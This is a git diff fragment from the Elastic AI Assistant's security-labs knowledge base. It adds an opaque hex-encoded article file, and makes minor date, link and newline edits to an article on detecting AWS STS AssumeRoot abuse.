982aaf1e81e8425451be74d91864f12b130c795a407ea148ade3cf889e8e2ed7af8aa3bcbd15d89410dac48bba1276833f86a134ee20684aa93f1a8d9d4a63748ea7d259e4cf6577274b3e0215da580f673b8c7082ce3d1dfa29e63e51e505dff5a1821b3d49e07785f533a6dc5e10844391a572aa497e2e07451e9aa6b73bf6a5f47c621900576e81db36c55efd6303e0069d455aef50f738e22e4f2d95d9c06966d4b4dabea74348570c72a7b093878fe10db58e0f8254ca65a64d3cc8b36f43afa6180f07ff78d0b8a95a42315f9e640e47fa7e81b8bc82f17426c429cdd394e8e6783daf9687983d28c556cf2427d1351312ddd597ad356b57f0e528bea158459bfca5a0f2835a3ade90a0af08b0f58a71002fd320588c5b68cf3ce4c2ad4fe1ea377937e68d2d70c75d84f091e18b1b577cd855be9dd7807838c0636d76e2c1f4db830f9f5f75a2a5d92ce8114aff96caf7030dd9af9d06c618cde9b92f60232b06737bf7cfe5830442a20c4ba654188c3d1e0d7d2ff64feb8fb7c7ae4e81774383eca6c3e8e34059c6439daf8e8a26d53553892b861f35d97691055d81ba8e1f943ca2766a93ef70b687cacf340ab74bfe2c75fb77d43471cd7ff3469e06c41068979cb7e14c2aee64cca7abf804d691631a7a4ccf417f72d2ccc07a3d44067c9279b5b42b71187b08a6aba4ec11d8ef6d3ad09cbdcc8b554e447e9d67fc68e140ea4106214ce8e0b7ee58982036d31a8f3f4f39a038f9b5ea85aa2e00464d499f982f18769777d5ee6a5a61df864cb3667b1af36723be35be2ef7ab1dc6a293f7c59b73fa82166802c938fd796a8cd0dfebaac42200884a003c5ad68c2b6c02cddd1933c88941eb22e0d372ac0a8120dbc39090e7330020639beed5bc338be48d230185fa6f298478bd80dfc70ee6975111e3437e38d8679e25b4104f59e5948e147ae2417fb16b8ee1533d3ab8f211d29adcd3e88d3b1382dc3ad9d93b0f49de60e12b978d4e2fef022308c83257e9c84bd9dff78b21baab10437133b15284c08ebb06cc13f825aed6329bcd3a0abc3fa09b5b2ad8743aa6182445bf425efa562e595a8dc3717718ea8a980c27321e4031fa405f406ca2aa65d743e52cafa6db536e73fe25673be9df36a20276947282cf5632ab51d54fae1c566cd8d9849b40e8671cef01224b38f85d2b74b8d176030d671970cb2fbd86cdfbd21579ccf9b639f9658c0c98bd37745de498cb4487ca4d2f98fa1c57a96aab1a65286436470df921fb8650e4bb4123d5863fa189279cf7931543f2131ce65c406a39418c05d5effe9fff3b7dae96f4db4ca3d215686460b4b4e86f07787d02783cafa30d3cab480b7ca13a8a5a43a3031e78e3244acac2571f863b0083dd922b1f08fb53df7751af5e48587985680c62f36a3f3d6d9cfaf505beacd35f90b3d12c98c3ce431eae356159a843c8021258e07c5b461523e404ffea5c2995fd0d5ca60028086dae616e7da47cc880cf66207723da4a2484e59a8d883ad47465496ab9ad3cd29fd5c0a98485bed730a583b547a878fc617843e1f59e923baaefaf079598d49246f46fc021ba6809c7fdb5689e0b9112ce86a0d3af0e4062cae7ccd75273cc2de201b21d27090914dc495d676449f9a76b7d76994840cb4610497fc0dcac9c0789411b6bae58d8d38435ee184e76e60974c1bafabe12387b2cc558694df1ba82eb8608b3d23dc323dd134117b0fe02523f2be7b627262c5075509be8178b7eec7be736ae3ba8d6cdb6f742fab60fe4c09bf06d0d1f595ad3a959aa72b33ce2b2c63710d98700a92837f11a9bbad31b5226a97e21f9b2edd7e0c983f054577eeae9c4b42dab202a640793e528bea158459bfca5a0f2835a3ade9046f84f037e4d999c3d877b01472c27300927519ee5a0f0f74f0663d8cbe5fdc0be6b8a2fd1977ad11697c41b3244c7dfe62d31af031dde2d69859c6ebf25137c10544810123e7ef00553a7d2a74fcf6f14fbff696d583a4fcf17fe0518833651ede5b8aa0595c500690137f910d66e0e32e68a7ed7de7b266f3e9b0b12b34dd85f248105ecd8ce06f6aa3d8d6742a475fd647892e3451e5c4bd04713db0f6c8c92dfd8af17cd932f5ed0b9a3fc9075d8dd9c666285dda5c757dbeceb0a93a876aee87cc9709a2804210c472edfea13739bf3b97e02dc1a23ee5d8427db49a7e92a9039bf5556aaa1d7b0e0175f90a16ead8404e6b657bb223471f5e87b571a8704ae5b054526f598aad77ecbab2349fb3fd3c5a2457d74190996f0f6859dc562dfdfd3ca4cda9293fcb25f7ee8bcedd6cec0f3dfc5d173736a88adea51adae0fb80c18b37653d269d8c30b6861150eb467731c05d56b63c918f6ef51688a11967d866d9c44e277a70da1489a5c6c5ee6901e8cb024d37802cdec0ed17abc57000bafc3ffd9973360534ad590a5923e9c280c5581cff2f6eaba8d9a2dcdac058c48e912f06d8ccc9634eb199257f3f8b67793f17c4f4967bd2ef9294faacab0267b29600f51f0c1b4f3b9d66b0cc5db2533d9baa77f01597eea38fdf05dd1596faaf50fee9f3482972cc03abdbc4cefb0e8f6de7a198a22115edb1fe49c4350a8c2ac3764ff64bc07a5fa81b6a2e9e0ac116ecb5a18acb86c2daa51268c48ffce96c28f66bb89f6d44bfcb51e1f722ef8547e4603a3c9a8d0ca9d4a79e8ff41f6b4312db94b1ac2360645e8a7c5becd6dc795f704cb30cc4f91af44b1195f20d86e82fad647efdd773748d05950d8fb116573af215c068de02e0b55f10a94d78d73ae3d8aa4f40649336cc72146117c7776b8645d0877dd413c81d4135fd284c3d11b0e9c37ecbfd047ce0364b11a22a8a717d5060c67b8f7ef6ef15187fb7e90302d3f17ca593b4d2cb1e6dd83e742e8bc9aabec06a3707cdbb4ce2c826ee8385f1ec139396e6a385db87d067e72ee3ecefb6f3cd15a78293154adc9cde7a6c1072eb1166509cb2ae93612d8ec5b1c8ca3cd5ff4de3c0f9c2396af82c93a4dde8060d6e7e678c83188597b16dee4da8f9b69de112c3539e8542e0da079a4edbe6043f9fe382bb21071bd9d65bf72bba3af819f1caf8cca336a17e1dbe0cdd4666e6097a421603739346f594b1bcec7f5b8410217dde166445ed5e37924ff9d535e9e8887e9ad83f6e87daaf5c0b00a7e10437133b15284c08ebb06cc13f825ae8590a347045533ea1f2602b2aa0b2b1bf6017554ba7682016e99db5a740254d58048948862465499806526978fe199df3af6abe5d3ec3f26be8d37cfb3ff3b1110437133b15284c08ebb06cc13f825ae8590a347045533ea1f2602b2aa0b2b1b4a5c4663f541d57ba4f2636296ef026936a06c0828c01043012b7e4debe033816a52b2c8bb3bca4702a28df3c13e1a866ab9d4cf819b599763c4907dbb4eeb9cc225897a9f1565efb0d1431dfc8b7e79654585ab3f354e0ad1c919a7298e27605a85b9f6d34e3dfb2c426d7ffa848952ccd9a34b97f5f648214dabd1ce9691dc1b5c775b1f004f58a70e11e09b5a1c4e5095941b1388d426e127f6a6add306999ccc07fbf4c306bc855566e985eadadc21c1abbadced0c05f762da03dd552e6d63571fc88ea9cc81409d0d6410b99e811d1e1942faf17932988bbb34bedf05499a321c89bd84e8dda3e0b1ff3861a973e1d5a72a7a9cb142166a72fa371eb1c544cf5638c87ee99152c0655b895b5d49663b72f958e1d88134ed6579a79bae4206680985b6e628649fa9e455b2907370a1d748d5240c017785a72c118d9e127115c9ff5f5908556398b4ba320c197779be1286ae46bfbb695480e8fa95449dfbaf065665f651bdfa3610c6e4c53fd987fbd78da5029b89e34b1a28ad499314c87926b3fee26d3c42f2f1660a5f1c05803971d2097092c002370c947f1957424e06cbecbd8ba6c0f5fe6190ce038da8217145c8e51aae480268d0c205a622c3b827b26f2aba8e5724ca3d1c1a8341d23692a82fdf12646aa0e1345deeaa358cd8d36bea802f2e61726121bb5732e7e2e0f6c92084eac19629490769fb802a03683845233c5756a3f8ee2683f15683f9607157391af3bff55dfc0e6c6ff165e71bc399a0acec8a7953fac955adb22726b75499d29c88a6cc38d6453bf5bea87b2a561247c5eb1bbba4c5088655946607aac7b732236df0efa32767acb44e69641eb5b9f3bcde2dc078fcbe67c3cae373396b511fd59641e886b1308aa470f2c0ba8659b88b580ae53db092f9e33fbe07c5018d72e8cb7e322d03b434e33e68997407dc4491a5862d63d23cd69e59673a84b0c9afe4a4f64abcf1a09c6af270e47f74555976a6c0ace921f86d731a73dbbbcbbf64c8d3f66907063f6f8c659824891220d5947507096bbea7dd13a971415c8d4af748d3d136e0ab4fc05f1fcec5347b27884a25045ba14bd6d6e65ce2c4ad380c8dd3cdf0aae4df8289a357faf01ce1070646a0f987acb78c72dd69f6a171e49600420b07f50ebd196e9e0d851c2627cc4ac58eaef0c20c448d866d86e7ab5356d5e45f7fc0794e036637218647a5cc953f7e8e6f195979d249facf9ecfa004d27ffbefd87abd87a4ff9441e8d114a521b8f431763f6dbfe36121efcef4cf796367fc09b10502e5241393561a8a0cc199479ddd571f6e51d4b8db7a0fecc8d3bd439ee832be64050caeb445f4413c7105894029b45a738b91f3517539fd29484caaf2f56f0e84e49c960e9bbaaad885b20156a5392143bb38cb4fd744b5780e7c50f4b7d3ba5fd453a555fe764ea4704eccb916d726685ea678f8f350aaf97b02947ef1b306f74c7b5546351a7d95c1776782d31bf16f30efc3e03b0ed7ca9894b5465a78fd4a580a6bd49d4371a5b984ccdcdf177aa60bd74454c8577279b09566ff287a237a6ccd665cc511c481e483fab4c00217b6657194c67413e35eff50c3aa0c9647176b15720dfe45122e443a8e2dc98214adcb58a755853c0f68624699844d67a327bad42fd0a76a1b214429ab6a4dc66555d61b54ec25396a043e9d7c5caa8e2cfc0b22ce4274cf05e8f222c479956c1c52b6e2187ddfb737d07e90f50edffe19ec5fce03bb378642992b80720ba7ecba5955bce4b53795fa8adf450b92f18d1c4c8ba71ee2e2dcbe39d606e21b18b1486336dc770868e7cf3423a5c668e8e31f2651ebfc57b75de20658fc9fd545c0d5b2b0e7fb0fc10b78014b150097576872001b0c62272cd6b224fa75c8f53a5b3d34362fbcfc06f563a4192246ec26cc744edb3d2a40ee36ed1b8affe9045c5f64483c165630eb4a48677e26416499da6132b6338d47e95acde4558918a9ac016c30f2872acd71487c4b0302770479c014a552e58f13193a9ba96045cf03b2e6e87b9d22a7f73583b778969198338855556752445371e31448830456da27eee9534ef2cc7b452f8ae66bc2317483a589fdc7858c1eabded597758c0c0f0f48ba245dc46625de3191db7b9c1bc76ee54ac5469152e40f83977d0daa9c59c5e74b29a540c7d369e67dd7fefb385f891c53be128b62c01c6b70aabd85312574893776457295b03e3585daef9d1a5fb2b862c4d19919ad7cf1eede90d389542be426a0ddd4aba2d60a4f6fc951fca33d4046271635b31031af513e0e7d08b09fa535ebd694b3175353ad5236a4e17abb369967c6a83cd9061e2f137b5237605f8b53821e94f95fc50bdd4813d1d959cc3d0dc1626f53685f08e5c0eef575a91f02f77fb3c5959d56e39c0eeaf6620cd8a57d9d99fcae35a8aff3d596ebd1a67abb1337daefc109bd96a6b9776c4aa14067530b6c51ae8ca8e9910352aca2a3de3293a47e6d4768beb754afd5b3bb958fbb9819f0540f478d6871cd676c577f2a933e95d6878e6e42cb98e412f2d7a3c9cfe956bf6834e95f36d32105e526e672b84bf103880ab8df4ba3bf24780591850f5ac970c32c2daf3b64a30ef8d5f8bfb92514ede61f1993b3395e434fbc6f161bf8051a9d158f9ddd93cedd7076b536e68cd24555793d6f8efb78f84bba185d56f09848ec1e673834f700c835115e55996ec5fc516b2b9943f503d9d8d6d6e7f001ef4f8eead6a1908c35fdc0beb4fed7c00f7df865561b041eb83dab7c31754d755a1b2a343b46c2122c51b43f032c138d43de451dc61cfe6c1f24d964a271300451a5e883e4ea436088152b6a326663b15ea27b37298f2c1d53f021a6b905d9cc01ccc17cdeb98504c5509f96c323ccc22588fd7573695e589de3066e4bd2c52bb508f7d97393afc51402af83fc374f55f1f1d0b994a76760c0b043d3727384996a4869bf0aee6191125960d93c8197156cdb73f2341d2f656a74fca44eccac9ae89aa845740f4f82fade5d26badcce655fe1b1716cbf068f72b5acc0224ceac6708b962e3bf4a73e419b0c067325b8368743b0d9c785b9ce9277b1589f09c55b90a5f4c8cfe6bdecb3dce068bd09e8d6cbfd6fae37f9a24cdc1fa1356674fb203f9882b5060fd48deafeaa37198abb296d5ccab37a126082470e6612330384914b8b212378cbd549747cc1a17ef6beb6bebe4a7252029bcb6d3db7368cfa1c4025dfcd7fba5dace38254aaa53e4613eb0dbf7bd6c3b4500329bb7d63748c3e724e6a44502dfd9d37249630d07d8bea7440d9980662aa3f00befa5f372d90b2fac8292e102e36c16804585f90182c8694b42006effd5df3e5cb68263a2f44b0675f7569260d897180d2cd148c94828fddf1d34f4db6ca7288d1b733a2b0fe2af869f58b0718f5d9ae2a0cefba6b46640c74393bb8072974f6f490a82cfc5d4754c41f5aa26de58da9fa2ed00bc4db54983b92c0cf63c39e0b9bc90c19fb2a61e56fa1617aabdfb2cb348f6458f22ac9ffe8b9a10a98d2fa5a1af9f9bce48ca11dc543fec3ef3498945c231db1fd73ae3324b30e3ce7162313d24982cb2c3cb0e9f38ee5d5206a791c70e5f5e4516d967d283157f6ea7b4927576024e9fe7150dc35bfcc2758b15bd1daf42fc5a44bc85f4e0a68212f1c44101ba6f335af1201fc2c6d921bf83f7b50b667947d88c24ba06a3a76271c720b50744aba3e378b05524114d2ba572968eb5ce3515e38d8fcf653f767f3542e0227ce250095aeb610768945f1f2192dae94649c65790ced9f22139d41a089cd207d68fd \ No newline at end of file diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/exploring_aws_sts_assumeroot.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/exploring_aws_sts_assumeroot.md index b00b2cc5938a4..6203ae034bf7c 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/exploring_aws_sts_assumeroot.md +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/exploring_aws_sts_assumeroot.md @@ -2,7 +2,7 @@ title: "Exploring AWS STS AssumeRoot" subtitle: "AssumeRoot Abuse and Detection Strategies in AWS Organizations" slug: "exploring-aws-sts-assumeroot" -date: "2024-12-09" +date: "2024-12-10" description: "Explore AWS STS AssumeRoot, its risks, detection strategies, and practical scenarios to secure against privilege escalation and account compromise using Elastic's SIEM and CloudTrail data." author: - slug: terrance-dejesus @@ -13,7 +13,7 @@ category: ## Preamble -Welcome to another installment of AWS detection engineering with Elastic. This article will dive into the new AWS [Security Token Service](https://docs.aws.amazon.com/STS/latest/APIReference/welcome.html) (STS) API operation, [AssumeRoot](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoot.html), simulate some practical behavior in a sandbox AWS environment, and explore detection capabilities within Elastic’s SIEM. +Welcome to another installment of AWS detection engineering with Elastic. This article will dive into the new AWS Security Token Service(STS) API operation, AssumeRoot, simulate some practical behavior in a sandbox AWS environment, and explore detection capabilities within Elastic’s SIEM. What to expect from this article: @@ -360,4 +360,4 @@ AWS [documentation](https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practi # Conclusion -We hope this article provides valuable insight into AWS’ AssumeRoot API operation, how it can be abused by adversaries, and some threat detection and hunting guidance. Abusing AssumeRoot is one of many living-off-the-cloud (LotC) techniques that adversaries have the capability to target, but we encourage others to explore, research, and share their findings accordingly with the community and AWS. \ No newline at end of file +We hope this article provides valuable insight into AWS’ AssumeRoot API operation, how it can be abused by adversaries, and some threat detection and hunting guidance. Abusing AssumeRoot is one of many living-off-the-cloud (LotC) techniques that adversaries have the capability to target, but we encourage others to explore, research, and share their findings accordingly with the community and AWS. diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/finaldraft.encoded.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/finaldraft.encoded.md new file mode 100644 index 0000000000000..70eb0f9d2f34f --- /dev/null +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/finaldraft.encoded.md @@ -0,0 +1 @@ +b682e68c12e3f162fa113ae0a1847b0de9d9a259fa6876d36ccb96783c37e97001d91b2267baa610fa65a70ff73fc755fab14b101f09e5ee300a3795ac8f09e4c839b62732a9fbdcc60b28ab01b5010216b2ba814e888c75f0caa66a730a428be999aba3b27ce72e5780edfff118e483c8c764cfa0c66c2e5339eceb38dd9e74a3e6b655bbfcde4e57a9207dbcd8511f5ee7b5153aaf022ab29af03912e16d9a7afc739536835fe998e89c546307520930725e1340e9eb1f439db9c69becf381c5c7f20417848c7bf43add669a70ef14303c27a4988b675fb6101c666acc3dcdba3a7fa7dbfed06acd3caf27797998f8c49727d75437a9c79da435bd01777ef2e32c497d0accb9d0c09765ddc02095db8c8cdb28c1a362e8af406aa5fef6df1b202db82815c4b6d264ce7820d5391434c2a71dcdae8bc507f83236d4c7d8f57b525f1ad638f65eb881e3f9f7e248a5e9be9030d0dec0ca7c25c1be74c05aa28c1bce5b1125f33cbcbed580a97d156a96e33d538a970be2924b83371806e828497db01307a0900bd105665c577c9281e5fc46cb36ab0ed23df341b355b69f01e00324141ba59d4af5e2ac7d1449800428bb227fe6df598c59e50bd1a49e9758bf2b0f0cc16c3a165adb437de610bbd0653979379eb837172dbfc1b21cc4481709502ddcb403320c2889a5becdab6616978df904070e31f1629565f4601d45c9b5ae0a2ac02bb0210d95524fc51d8a1273f7430150122f427528077398010b47db8b653b176c6b1aadf507233373c27c09d659e2de17c217a4f1028d3fd24319a74238288a80eb9ffa3b10e959b95516a593a68cdb4f538c27d4b6e80b911a79a294942e96f8872b8482820a9d1fd71dc65b76e79db6b66453111a9637d2c9f4ab01fb12190d3c7086758efeaaed1d1fe87afc739536835fe998e89c546307520914634ec1ea29b950ba0c51b086d7b8360bc35f335950ad8d7ea30580daea8bb5cdad18d8961a5ac87e2e9e0d4f28edcef249e788448eb972e100ff63ae4947504ec56b6b50f22a403595446961a77971b8f29ce5c35778964f7be5f1ac77319571e18e466bb411c25ccf113f91d260696d6fd3ab2ec96e267e52f02fb1a503a8a791ac286e116bf767edf1aae456783e9cedf3d57da948d1dbe7241ecb7b535c44e709c6895392d874a92ee044d7639fd56a0dabdbd5d013490e63e3bf87492d666f60381ad9b4a3244d5b56cfc990c19b635839bdefd74c43825a33595c10ea835837c75e165704f29a6fa3e7e0ea78903eb7f8c8059f76317da430bfc6e80d359c2ae17c76f6fab33fee498fdca543bb33c8488c52c4451a86d62113b39e5c00ef14d8aa59c411e846abd4c5c719dbe9159dd0083d6c31751dd8e033ba16192f59cd6af8369896f353027917aba0051839246ba03249ac7d4d987320dc2cc7b3accb2eff1f31f796a29b9afca60b3e4159e7c92ac6841a02b22db712e0c7d04ce392fb1eea8986f509c9bf94b98b4ca2dde77db6e7daf8778a2a09de5ac38ae04953ff7bc46ca24d7130de7173cb0c8f3da85147ae77850112b49c5442448d24b1e41afc48a2f8801949c86f497c9e4588b23dde87682af1809c87a10e0f8f7a21e5c3ed59430960780e3b76e5212539c344eb484e9d4b614678d35c522257010969d93cba400efa706da85e8363d8b43696c09902809d6737352c024cd42fa612a0a28792e3ee56e7d2671ea37f738dd65ab553d7c3f9aba18e7cd47414a0bda4d49c0032619cab258a3b77d383a4ff5e543082e34128c4e824c41303a07dc3d5b5ee7627d13ed5f04cd4feba94ad5168d5bca75423e3f1f05e1d7869cb9a43c97e3c8d61856cbe781665c163f83390fe1098596cc363d742d5104684f29bab9c4fff5ceeac805088ab8a7c48744b1293896a9c17eb13a1d74b9cbe9241f977cfdef60171e3b45b397ec4819839f78776a681978be6f35ab3f50b2c19cf3744ff87bff3f59fa0e031e3333dd65f908aa5a44579504414544db9e1f56a1ea69704631cabbebc2d7eefbdfe49f63065572ff83b5e52a76d150da64e04f375cb9f89b3b1d9ccc5f4b95286c4ae2c32659ba84b1c1b5c6637e2f562c1bbecb711806f0e2f4c71e12a46890ab7c4ff9615a9e317a2f0c3d2fe2e7b4674948dab48668adb3dc75a022a2e0ee58cd40b8e6b18087618d2985fac369d496bc6a8ba4cb70760a67109033bfad1e06c9441a32377ed3ab675d01121ebd3bc9ffe319d2c52c7d45a459e6fcee15d0a0018b968fb2afe2943c32fa16096a4f3fc25bc01c20c01af3847ee1726bb234cae2828f8abdc6e50052f4379b7f9a3eeb5000592abe7eb941f88c7f72dcc27026ebaa78a9fc9e2d72691130813015d3fe55c4cb768c4825b7ee94ee422d45770996df38315d504c820b87c4d320ad647edf0d8dcd7ed881fc2445b614b05ce385014e37db4e5b3dd07af04752e5d451b830ad4f2ea330dfe550aafa7241c962ee9d863d58e10939d3d4e7aa055f9c7eea6d769b10957d7283417d48d0bab0eb0419859d8ba67cc37882124529f71b4b074d5e4e57a49587de4544181d5bfc3eefcc3f153a9965bb76c19a606f999bf3d394a1ded5337bdbe1cc82bca6eaf4d67c5a409a1ab24018342fe2be8af6f473a6ef778304241a823fd49410e3dff71ac80d1badff5c47e47ef3e91171c13db97f146381ec8acba9b062a794ec8e9f15162b94457f443b443389ddd5fb7ed5c35cfa8344f776a8ea0c5f3287b04518783f2e3319a24f2d09b0cddc95918153b28191624dd528c4f424225edd24f03baa048a8bf73a9ba001540b7dc46b35ac7c1f8bca94dd48403204df363eb2599883793c22a7d9106a4f8f9241207840f7209c3d57d88467811a504e08d482862adfb66ef9b8b5459727f3b6dd8570ffe29b3447bab55d3b97315757613d1fa99c890bdef11a92d0b6c183b94f060b3a9a7648b0cdc9b440d32ede235886260f71b2b7e0397be5336bd04cc626d2e5fbde9d0a6101d73bf5a0173940ad4d22b853799394eb944878cd0c5f5a916b75b1d0cdf6035036f350d43072bc17386cee6bfb9c0557b634d0737acef4eaeadab41fa4aa8352279e7c95c2744b438e30ec5876c757173a4b79a5c96a69502af8f9c0326b88fd20aee22bc9f4c5c3e45c0a86c5eb1eeaf3def5bac680d7c70b5fca048f4d631e08d2b726c8815b83378b003fb0fb5b8c611e0afc926952afb3e14ed02f805a34567d5d0894a0f2b9c709f2c7e6e43d37223d0ccc7d17bf6bc7f933724a882ae69dc48960906db36e8bc95a4fd92edcc5a7ee73920ea47b6d3b04569036472ae09fcb0c963a24a7bda780b7fc447819692c8ccbc5659a1ec64d8adfde1e647cbf35b6d1ace50f87776f136182243b8afaab2450193324c47de46160d04fedeadc719c1454a402bc48f30e10652fd0e210ae607161adb72ee36998e5cb7a6456b1273499a1ecd64f7c60687fd76a31032938567a4a0162ae3e7d91ea297f1a2c27e094327e6e6cd2802f38cee730b4c2d55263fb2f8a31c0c10b032aa7e55336c5765f4ff754abdd7e3ad73cee1918c7927ac5a3bdc3218f167f99f6cf33e7da77961e57e610681765f64c2d9761c97d6fe3864a69cfb12701790b5a964daf61e98fe18b07b35e6358d2614c803aeece96cc2cfadd462df9a9a6b7f478469a7fa6abdf6b0e81aacf6edb5781a1247a13d0ff9c95a793a13595f914358ccef177edbe0fcd8bf037cddaca17cca16c71438109cbe2839a100be3d26efc11130ec62336263a0e21f12ffe5ba92e2b57473360a4212233da2a6aa19d633ae50912c6ea26b8c58ed3bd46736b7c60a4c3c3734e138b6ae036c02dc04b3a3fc6d58804c37390d634130fbc772bed19894ff42d0d5c7a4775604336ea8c496cdcac3a93515e05a27dc9901304e4afd89e3e61cc9dded008b496a8eb39fcef79cc49c07fc7ec16f4df4e177ebc5b2b9cd2d8252ffbe2f0f0b9ff2c420558a6827f35b40aab40bedd575333f4f4647ae04009a7d2649ac30876b31d618a7ca3958e100485e2574de9cdc660635266bec2fbdb88d402599fed7874cc7b27eb8b76f15d6945492efe5bd67a247ed18511c4499740f755dde0f530e40d0a658425973b942ff94fc53c2d10ecc1b1f50e62320e2109252595c5b7466433d3b8dfb38f65e480571d840f063f86b7c1626280b532b2a200e6849d0b8747569052aa134b7e17135e13d2e11be2dbecd9862eb40df64cc45835e0f4b9e98c6f0cfcaf5cf441b09350598ebfa02adf8d14cd6b4ba096dfab0aa3b5b033c42f1dc01566e5dbed0316785765b237408678c638518530b46c21d67669378a84a8fa3d14c50e8c99d4911257bf1be9290be71460d47e0266b29be7e798e2463acf1cdbf5f48129e5c58723c3175b173c2c5735ae5db115e3d24f9bfa16c2c6af4ac9250a64eef1d68e492eb57661b07ab8af5e3c08c9461b9a47e75e3909219a2cf5f182b03f5cb863b198f86709171e76c7b4f0ca245f66667e1c349682a0193324c47de46160d04fedeadc719c12b88a958558a500ea42fda9245e2392f4dfed17f343b74a1d3d191425289f6781627b0f8d3458736d3c650b9d0eacac37b894c64ac3d8052addc3a0c42d236fe190d25e1847513b78fb9cce9feb848c2f00a424754c22d16461900fe3b6b4a1c6df121766ca824caba22791e1bf5c21e20a31df07ec0adea6c7a94ae966a19c6136cf92483525cf5cef5ea92234765bf89233cf8e7922385d1fd22dd2cf2233c6d8fe7c153ff40ce5c3ed49557452c7f7b879c07585dc660811126b0cf521f591df0ba4607a5693aca7d95b6600858839295db21587b879285b4f4d85ae00ad82a16839d175dd848b0e3264ded8c7ea75803573a5633102dd8541bfd4ea265cd6abe723969c150df1e69bfb2e500acae0f87719911a73e3186d1b3c787594708fb5c7b180d3de6030888778334c3da157dab59bfb7d6106147f0cfcc5b1e4772383dc29c8ac0bf6e732d27a2750af9fe0c6b6eefb9cdbedc2079cb3358e9543188b831121d39d891868c075652914a11aa65d1e4acc1225a1966c6b0edba3b518f97c43c9fd29d4d98b79a65e3b2d16277ee0a85f60b85531b6dfa145db22040f961e6ac850070e4288050cb09dffde061001132d9d06ad98b809e2822ca7dd3d140653e305238f921d9afccaa5ab074012dffbe5950ff0255a1a8193e03e59b3238c16fc4cd460f0448409705ced4144d786f085f8454451a50afd94064a2819fca2a8ff04f3361ee905a614a25f62be7642c0e55bcfc583c499ce34dc6e82bba628b38e37f4a5df1458a1a9d46de3ca977499a8a6614aabb6800b3100c1f1375dab5d8b629678dfb15695762079f8b2279372af2bc31c13f9ac201e379cfb62b1673a103a1ee16b590783a8f6d81a417916f215369a562496607c4232fb14a8ac53253de1d46fe1180915f59ea47ecc9e1fa005e4b641cb17b20ffbeb7de326d1f3ded764456267286aadc373895fbe2bd816171b66f128109c4eca4548b28d65aa9203cb1a34cc5bfcb174c8eec4e79f1ed16a56196c8f51fb9463836faebcd62ebc7cba5e51f638b4d9b1110c591f51ed45c8e2b9dde4ac43e971e93a57b55aba6c4ec7419a92e38a2e09872ccbf5ce3f861dc105547a3ad501952f30cb05dc587848f897308b050d603b9fc43fb64087d150c79c996c47212c136bfdd62603b4222006444992623872392b77a98704b2bcc77d5161fe56e70760075919ec792a76f460fbc32de62e0cb5ae4716226a6532fd1ba5d8532d9431eb6626de69b82ee03fb48e08072260f54cef6f52a54618ec6fb1fe101e8dab2e59821728e6062274b6279ce3099ea9593d78051a5fe5fdae3708d92df28591763b3fe07ea454e56c053429f1ab3a0fa4ab386c1f1e37be724e3071535359974aab406e39ab3318a66f16ad621a1554a65856feff4b4c3e7bc928e683c3386a9a00262b97771c3e73079d8109978ef3364cd3e35d42bed9e7f9d571d3d0affb1aa4b4f27b10b083426dfd0974d8a70f05d9e01614e970c439fae7e19434e787717e72a8bcb0fc0bf7fbc1f56cd5b3fa114c0a23b1f3f3c85cf2f5f1d5cf411fd123a8d7d6b7d1a3f66594900f27443d1e152f4dc8b4e90ca297541d6301e0967bdc7d32ed75a793a13595f914358ccef177edbe0fc067be3f5a5ac4366caf449dfe7d63757133916b5e3eb3eeb42ac8f109d82043ce66b4a14ca11383460cf91cb58472e252754a6f4e84075efee3881e73b8cd6bcf840a8aaeb8aad45d731da8b705a2182e1db1cb4d5d32d962da53b9cbe9646bf734798dcfd7e4676579d41d040e88314f1a5e5d2c7337a4c5d4bb1385879918ed3aa6563067117778c2b78e153a4cf09b90df7792f40ec73ed8cda4e2ebfa9fef3cbd8d7ff1263cf53564c65594a5552b507cc2e7ff1fccbaca7b29b68d272b50707238dd82e23a286c5db5e1a34fcd00dfece38547c900d3e4fc0e92346c3cb13641fa2283d12bc8d6b00d2a92f92027287afade5317dd04508145626826032c9cc141124a1aea9914827b03876a1ac0e40fcc083b4a8423a9feca805996de3468b646e6b7a36ecd2116eeb322c15d88317ddda4092793ac7a7bad31b01863382d2ade8383519f82dc324d6cb92ada657b19b412dde39f08b7e06a0dd2b4c7f1792ac5e78c413683f3838be68d4e6587a0f19ccdfd68555714a7c78bd7aea484f5f7f8303769fd3c0cbca80b56c6d765952ce4ca17acb46ca93aa77f8c103828839cfe9a588da58a311091fe639f0d30f065328833d1ce98d0c4d197443c5a72b45656a75cf792b9d38e93695c2d1651a6ac8d57fead2497c2798aa4f5e955ff593f9750b07e124132f1e7bf4d37d2c0193324c47de46160d04fedeadc719c13a7a6d1455c2db8fc488dba1b17c17de961eee30f3ea1a1c49b785690658e7b9e8c21b6cdbf39eed4563a2da137cd7552f52aa0b91318e49027a7861f0158ae3af17ff0ae414b298659449bf82a5f54c15b896617a79870716a613e3f3167a8b0998cbab5ef0db1b63203da0041c27fa6f4d450da0b180196ac7cfc824e2b88eb335b589bbcaa6dc548ea814b7b25fe6cd5c3707477979bf22cd7490bab14c251e385b6a5bd96f2eb7e5221e7e11fbb9f8fbe0aee151f3a1b0c8398cfeb10205ab7e3c798a68004f0b2684650cb38589c5e43fc494716f1b13d196e6867192dfeef318471db9160341f0b63413c73e567310d79796bc7629ad1f6205e35e377ff3926a21c0df884846646dd3308ab7f68b42312ebf3e24bf899dbcd4038bf0e1dc5e066039ddd8c6428a8910516dd9efa7f7ad140a0d17a7f8832f0ff01a3c3996f1e791750123df40a78ab182f09cc23435d3a50a31bde451ff7c67ed71d86a198b9f1dd5111833a23673e9429e1dd15768bcddbc81c6a782c3ebd28c9bf17053a654d955769657e8a8483bfa4b4885132ed64cd4af2163d5fd5647df6f1a98ac7a3f0036c20dbab17e8db802d1e9c0daaeeb4f84c4bf6a8b55105a7d65c89968e05f80b6f2a57578b972af9c6f175f4abbcd10fe475fa23c3633a3dddb26a87d9d535be52a65e196c6de3e999fb496b9ab7e5f6766918c9410e9af860ee31b0b40ddff955b24da5417c7a14c611dd53a2e63a395490ae9ad5cfc6dd6698ebd00d9baf2d61305b5a051135308e47c